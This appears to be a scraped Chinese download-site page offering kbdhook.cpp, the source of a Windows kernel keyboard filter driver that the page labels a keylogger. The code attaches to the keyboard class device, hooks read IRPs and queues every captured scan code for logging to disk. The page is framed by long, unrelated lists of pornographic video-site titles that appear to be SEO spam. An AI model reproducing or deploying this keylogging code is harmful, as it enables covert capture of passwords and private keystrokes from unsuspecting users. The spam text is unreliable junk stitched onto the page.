亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? kbdhook.cpp

?? 鍵盤記錄過濾驅動程序
?? CPP
字號:
extern "C"
{
	#include "ntddk.h"
}

#include "ntddkbd.h"
#include "Klog.h"
#include "KbdLog.h"
#include "KbdHook.h"
#include "ScanCode.h"


extern numPendingIrps;

//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// THE THEORY BEHIND THE HOOK:
// 1. The Operating System sends an empty IRP packet down the device stack for the keyboard.
//
// 2. The IRP is intercepted by the ReadDispatcher routine in the filter driver. While in
//	  this routine, the IRP is "tagged" with a "completion routine".  This is a callback routine 
//	  which basically says "I want another go at this packet later when its got some data".
//	  ReadDispatcher then sends the IRP on it's down the device stack to the drivers underneath.
//
// 3. When the tagged, empty IRP reaches the bottom of the stack at the hardware / software 
//	  interface, it waits for a keypress.
//
// 4. When a key on the keyboard is pressed, the IRP is filled with the scan code for the 
//	  pressed key and sent on its way back up the device stack.
//
// 5. On its way back up the device stack, the completion routines that the IRP was tagged
//    with on its way down the stack are called and the IRP is packed passed into them. This 
//    gives the filter driver an opportunity to extract the scan code information stored 
//	  in the packet from the user's key press.
//
// NOTE: Other IRPs other than IRP_MJ_READ are simply passed down to the drivers underneath
//		without modification.
//
//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
//	__asm int 3;
	DbgPrint("Entering Hook Routine...\n");
	
	//the filter device object
	PDEVICE_OBJECT pKeyboardDeviceObject;
	
	//Create a keyboard device object
	NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
		FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);

	//Make sure the device was created ok
	if(!NT_SUCCESS(status))
		return status;
	
	DbgPrint("Created keyboard device successfully...\n");

	//////////////////////////////////////////////////////////////////////////////////
	//Copy the characteristics of the target keyboard driver into the  filter device 
	//object because we have to mirror the keyboard device underneath us.
	//These characteristics can be determined by examining the target driver using an
	//application like DeviceTree in the DDK
	//////////////////////////////////////////////////////////////////////////////////
	pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
	pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
	DbgPrint("Flags set succesfully...\n");

	//////////////////////////////////////////////////////////////////////////////////////////////
	//Initialize the device extension - The device extension is a custom defined data structure
	//for our driver where we can store information which is guaranteed to exist in nonpaged memory.
	///////////////////////////////////////////////////////////////////////////////////////////////
	RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
	DbgPrint("Device Extension Initialized...\n");

	//Get the pointer to the device extension
	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension; 
	
	//////////////////////////////////////////////////////////////////////////////////////////////
	//Insert the filter driver onto the device stack above the target keyboard driver underneath and
	//save the old pointer to the top of the stack. We need this address to direct IRPS to the drivers
	//underneath us on the stack.
	///////////////////////////////////////////////////////////////////////////////////////////////
	CCHAR		 ntNameBuffer[64] = "\\Device\\KeyboardClass0";
    STRING		 ntNameString;
	UNICODE_STRING uKeyboardDeviceName;
    RtlInitAnsiString( &ntNameString, ntNameBuffer );
    RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
	IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
	RtlFreeUnicodeString(&uKeyboardDeviceName);
	DbgPrint("Filter Device Attached Successfully...\n");

	return STATUS_SUCCESS;
}//end HookKeyboard



/*****************************************************************************************************
// This is the acutal hook routine which we will redirect the keyboard's read IRP's to
//
// NOTE: The DispatchRead, DispatchWrite, and DispatchDeviceControl routines of lowest-level device 
// drivers, and of intermediate drivers layered above them in the system paging path, can be called at 
// IRQL = APC_LEVEL and in an arbitrary thread context. The DispatchRead and/or DispatchWrite routines,
// and any other routine that also processes read and/or write requests in such a lowest-level device 
// or intermediate driver, must be resident at all times. These driver routines can neither be pageable 
// nor be part of a driver's pageable-image section; they must not access any pageable memory. Furthermore,
// they should not be dependent on any blocking calls (such as KeWaitForSingleObject with a nonzero
// time-out). 
*******************************************************************************************************/
//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = DISPATCH_LEVEL
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
	
	/////////////////////////////////////////////////////////////////////////
	//NOTE: The theory is that empty keyboard IRP's are sent down through
	//the device stack where they wait until a key is pressed. The keypress
	//completes the IRP. It is therefore necessary to capture the empty
	//IRPS on the way down to the keyboard and "tag" them with a callback
	//function which will be called whenever a key is pressed and the IRP is
	//completed. We "tag" them by setting a "completion routine" using the
	//kernel API IoSetCompletionRoutine
	////////////////////////////////////////////////////////////////////////
	DbgPrint("Entering DispatchRead Routine...\n");
	
	//Each driver that passes IRPs on to lower drivers must set up the stack location for the 
	//next lower driver. A driver calls IoGetNextIrpStackLocation to get a pointer to the next-lower
	//driver抯 I/O stack location
	PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);
	*nextIrpStack = *currentIrpStack;

	//Set the completion callback
	IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);

	//track the # of pending IRPs
	 numPendingIrps++;

	DbgPrint("Tagged keyboard 'read' IRP... Passing IRP down the stack... \n");

	//Pass the IRP on down to the driver underneath us
	return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);

}//end DispatchRead



//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = DISPATCH_LEVEL
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
	DbgPrint("Entering OnReadCompletion Routine...\n");

	//get the device extension - we'll need to use it later
	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension; 
	
	//if the request has completed, extract the value of the key
	if(pIrp->IoStatus.Status == STATUS_SUCCESS)
	{
		PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
		int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

		for(int i = 0; i < numKeys; i++)
		{
			DbgPrint("ScanCode: %x\n", keys[i].MakeCode);
			
			if(keys[i].Flags == KEY_BREAK)
				DbgPrint("%s\n","Key Up");
			
			if(keys[i].Flags == KEY_MAKE)
				DbgPrint("%s\n","Key Down");
		
			//////////////////////////////////////////////////////////////////
			// NOTE: The file I/O routines must run at IRQL = PASSIVE_LEVEL
			// and Completion routines can be called at IRQL = DISPATCH_LEVEL.
			// Deferred Procedure Calls also run at IRQL = DISPATCH_LEVEL. This
			// makes it necessary for us to set up and signal a worker thread
			// to write the data out to disk. The worker threads run at IRQL_
			// PASSIVE level so we can do the file I/O from there.
			/////////////////////////////////////////////////////////////////
			
			////////////////////////////////////////////////////////////////
			// Here we allocate a block of memory to hold the keyboard scan
			// code at attach it to an interlocked linked list.  The interlocked
			// list provides synchronized access to the list by using a 
			// spin lock (initialized in DriverEntry).  Also, note that because
			// we are running at IRQL_DISPATCH level, any memory allocation
			// must be done from the non paged pool. 
			///////////////////////////////////////////////////////////////

			///////////////////////////////////////////////////////////////
			// Allocate Memory
			// NOTE: Direct allocation of these small blocks will eventually
			// fragment the non paged pool. A better memory management stragegy
			// would be to allocate memory using a non paged lookaside list.
			//////////////////////////////////////////////////////////////////

			KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
							
			//fill in kData structure with info from IRP
			kData->KeyData = (char)keys[i].MakeCode;
			kData->KeyFlags = (char)keys[i].Flags;

			//Add the scan code to the linked list queue so our worker thread
			//can write it out to a file.
			DbgPrint("Adding IRP to work queue...");
			ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
			&kData->ListEntry,
			&pKeyboardDeviceExtension->lockQueue);

			//Increment the semaphore by 1 - no WaitForXXX after this call
			KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);

		}//end for
	}//end if

	//Mark the Irp pending if necessary
	if(pIrp->PendingReturned)
		IoMarkIrpPending(pIrp);

	//Remove the Irp from our own count of tagged (pending) IRPs
	 numPendingIrps--;

	return pIrp->IoStatus.Status;
}//end OnReadCompletion

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91热门视频在线观看| 在线电影院国产精品| 国产女人水真多18毛片18精品视频| 亚洲欧美日韩国产手机在线| 成人av一区二区三区| 日韩理论在线观看| 欧美一区二视频| eeuss国产一区二区三区| 日本美女一区二区三区视频| 国产精品色在线观看| 欧美日韩在线播| 国产91精品精华液一区二区三区| 五月婷婷久久丁香| 亚洲日本护士毛茸茸| 欧美一区永久视频免费观看| 色综合久久综合| 91黄色在线观看| 色噜噜狠狠一区二区三区果冻| 成人午夜免费视频| 国产精品18久久久久久久网站| 亚洲成人动漫在线免费观看| 国产精品久久久久久久久免费丝袜| 6080午夜不卡| 91精品国产综合久久国产大片| 91在线播放网址| 99国产精品久久| 菠萝蜜视频在线观看一区| 国产精品一区二区三区网站| 久久精品国产第一区二区三区| 亚欧色一区w666天堂| 一区二区成人在线观看| 亚洲另类在线一区| 一区二区三区日韩欧美| 亚洲第一综合色| 久久av资源站| 不卡一区中文字幕| 欧洲人成人精品| 欧美一区二区成人6969| 精品sm在线观看| 日韩理论在线观看| 日本aⅴ免费视频一区二区三区| 蜜臀av性久久久久蜜臀aⅴ四虎| 看电影不卡的网站| 91农村精品一区二区在线| 99精品一区二区| 7777精品久久久大香线蕉| 精品精品国产高清a毛片牛牛| 国产精品久久久久一区二区三区共| 亚洲欧美日韩在线播放| 天天av天天翘天天综合网 | 丁香婷婷综合激情五月色| 国产精品系列在线观看| 色噜噜狠狠色综合中国| 国产亚洲精品久| 日韩精品一二三四| 99久久久国产精品免费蜜臀| 日韩免费高清av| 午夜精品福利久久久| bt欧美亚洲午夜电影天堂| 欧美一区二区三区男人的天堂| 国产精品午夜在线观看| 韩国在线一区二区| 2023国产精品视频| 久久99精品久久久久久| 欧美大片在线观看| 国产精品中文字幕欧美| 久久精品日韩一区二区三区| 国产综合成人久久大片91| 精品福利一二区| 成人自拍视频在线| 亚洲色图丝袜美腿| 色噜噜狠狠成人中文综合 | 精品免费国产一区二区三区四区| 亚洲第一久久影院| 在线观看91精品国产入口| 亚洲成人激情av| 精品精品国产高清a毛片牛牛| 日韩精品1区2区3区| 欧美色图天堂网| 亚洲最大的成人av| 国产一区二区在线观看免费| 久久一区二区三区国产精品| 国产成人免费视频网站| 亚洲国产电影在线观看| 国产91精品一区二区| 中文字幕亚洲在| 欧美色图在线观看| 亚洲亚洲精品在线观看| 日韩精品中文字幕在线一区| 久久99蜜桃精品| 中文字幕在线观看不卡| 成人午夜av在线| 亚洲天堂成人网| 精品黑人一区二区三区久久| 99re成人精品视频| 午夜精品一区二区三区免费视频 | 国产一区二区三区在线观看免费视频 | 美国三级日本三级久久99| 久久尤物电影视频在线观看| 91视视频在线直接观看在线看网页在线看| 国产女人18水真多18精品一级做| 成人激情免费视频| 亚洲国产va精品久久久不卡综合| 日韩一区二区电影在线| 欧美日韩视频不卡| voyeur盗摄精品| 国产一区二区福利视频| 日本在线不卡一区| 一区二区视频在线看| 国产精品视频第一区| 久久一区二区视频| 欧美日韩一卡二卡三卡| 欧美一级久久久| 欧美一区二区在线观看| 欧美在线制服丝袜| 国产二区国产一区在线观看| 国产中文字幕精品| 国产在线播放一区二区三区| 精品亚洲成a人在线观看| 免费一区二区视频| 午夜精品久久久久久久| 九色|91porny| 成人深夜视频在线观看| 91浏览器入口在线观看| 色综合天天狠狠| 久久综合999| 亚洲免费观看高清完整版在线 | 日日噜噜夜夜狠狠视频欧美人| 亚洲福中文字幕伊人影院| 韩国精品一区二区| av电影一区二区| 在线看日本不卡| 日韩一级片网站| 1000精品久久久久久久久| 免费观看一级特黄欧美大片| 国产精品综合av一区二区国产馆| 国产成人精品免费网站| 欧美视频日韩视频| 国产欧美一区二区精品婷婷| 亚洲sss视频在线视频| 成人性生交大片免费看在线播放 | 99久久夜色精品国产网站| 97久久超碰国产精品| 欧美亚洲另类激情小说| 中文字幕亚洲成人| 国产主播一区二区| 欧美视频自拍偷拍| 久久影院午夜片一区| 久久国产视频网| 91精品欧美久久久久久动漫| 亚洲图片你懂的| 成人av电影在线观看| 国产亚洲综合在线| 精品夜夜嗨av一区二区三区| 欧美午夜一区二区三区免费大片| 国产午夜亚洲精品羞羞网站| 美女尤物国产一区| 欧美日韩亚洲综合在线| 久久精品水蜜桃av综合天堂| 亚洲成人在线网站| 日韩欧美国产成人一区二区| 视频一区中文字幕| 日韩精品一区二区三区视频在线观看| 亚洲成人精品一区二区| 欧美少妇bbb| 亚洲va欧美va天堂v国产综合| 精品一二线国产| 久久婷婷成人综合色| 国产精品夜夜爽| 日韩美女主播在线视频一区二区三区| 日韩精品福利网| 欧美美女直播网站| 美国十次了思思久久精品导航| 久久婷婷色综合| 国产一区激情在线| 亚洲色图欧洲色图| 欧美日韩一级片在线观看| 日本午夜一区二区| 久久久亚洲精品石原莉奈| 成人午夜精品一区二区三区| 中文字幕中文字幕中文字幕亚洲无线| 粉嫩av一区二区三区在线播放| 综合色天天鬼久久鬼色| 精品黑人一区二区三区久久| av不卡在线播放| 日韩在线一区二区| 国产精品人成在线观看免费| 91亚洲国产成人精品一区二区三 | 日韩午夜小视频| 成人精品视频一区二区三区| 日韩电影在线免费看| 亚洲美女一区二区三区| 国产精品久久免费看| 久久综合资源网| 97国产一区二区| 成人激情综合网站| 国产999精品久久久久久绿帽| 老司机精品视频一区二区三区| 亚洲国产美国国产综合一区二区| 精品国产一区二区三区忘忧草|